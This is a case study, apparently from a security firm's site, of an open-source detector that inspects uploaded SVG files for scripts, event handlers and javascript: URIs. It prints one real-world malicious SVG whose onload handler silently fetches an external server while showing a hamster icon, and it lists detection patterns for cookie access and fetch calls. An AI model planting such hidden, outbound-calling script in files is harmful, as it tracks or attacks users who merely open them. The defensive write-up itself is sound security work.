A7C

SVG threat detector PoC built after hitting upload vectors that basic validation misses

This proof-of-concept goes past MIME checks. It parses SVG structure and inspects embedded script behavior, event handlers, and injection surfaces. It works as a case study because it shows how you reason when a standard package solves half the problem.

SVG threat detector PoC built after hitting upload vectors that basic validation misses

Problem

Standard file upload validators check MIME type and file extension. Neither stops a malicious SVG from executing JavaScript in the browser. Browsers render SVG as DOM, and a valid, well-formed SVG can carry embedded scripts, event handlers, and href injection vectors that pass standard validation.

Approach

Build a parser that treats SVG as an XML document with a DOM. Parse the tree, walk every element and attribute, identify script tags, inline event handlers (onload, onclick, onerror), and external resource references usable for injection. The tool flags instead of stripping: the output reports what it found and where.

Architecture

Python with standard library XML parsing as the base. AST-level inspection of embedded script content. Attribute scanning across all elements for event handler patterns and javascript: URI schemes. Threat level thresholds are configurable. The output is structured for integration into upload pipelines.

Outcome

Open source proof-of-concept at github.com/affinesec/poison-svg. It shows the gap between MIME validation and SVG content safety. Drop it in as an inspection step in upload handlers that accept SVG files from untrusted sources.

The problem with MIME validation

Most upload pipelines validate SVG files by checking that the Content-Type header or file extension matches image/svg+xml. An attacker bypasses this check with little effort, and it tells you nothing about the file's content. A valid, well-formed SVG can contain embedded JavaScript that runs when a browser renders the file, and it passes every MIME check.
The attack surface reaches past script tags. SVG event handlers (onload, onerror, onclick) run JavaScript without a script element. The href attribute on anchor and use elements can carry javascript: URIs. Foreign object elements can embed arbitrary HTML. Extension and content-type validation catch none of these.

A real example

Someone found this SVG in the wild, uploaded as a legitimate icon. It renders a hamster graphic, passes every MIME and extension check, and fires a request to an external server the moment the browser loads it. The attack surface is the onload handler on the root svg element combined with a script block at the end of the file:

<svg xmlns="http://www.w3.org/2000/svg"
     viewBox="0 0 512 512"
     onload="hamster_points_multiplier()">

  <path d="M501..."/>  <!-- renders a perfectly normal hamster -->

  <script>
  function hamster_points_multiplier() {
    fetch('https://hamsterpointsmultiplier.pythonanywhere.com/',
          { mode: 'no-cors' })
      .then(r => console.log('Request sent!'))
      .catch(e => console.error('Error:', e));
  }
  </script>

</svg>
The fetch runs with no visible error: the user sees a hamster while the server receives a beacon. This is the pattern poison-svg catches.
Example malicious SVG - hamster points multiplier

Example malicious SVG - hamster points multiplier

What the detector does

The tool parses the SVG as XML and walks the entire element tree. For each element, it checks:
  • Presence of script elements (inline or src-referenced)
  • Event handler attributes matching the on* pattern (onload, onerror, onclick, onmouseover, etc.)
  • href and xlink:href attributes carrying javascript: URI schemes
  • use elements referencing external resources
  • foreignObject elements that could embed arbitrary HTML
The tool analyses embedded script content at the AST level to find eval calls, document.cookie access, fetch/XMLHttpRequest, and DOM manipulation patterns tied to XSS payloads.

Design decision: flag, don't strip

The tool reports what it finds instead of sanitising the input. Sanitisation is the harder problem: it requires defining what a safe SVG looks like, which depends on context. A detection tool that reports what was found and where works better as a building block. You decide whether to reject the upload, strip the specific elements, or escalate for manual review based on your own threat model.

© 2017 - 2026 · A7C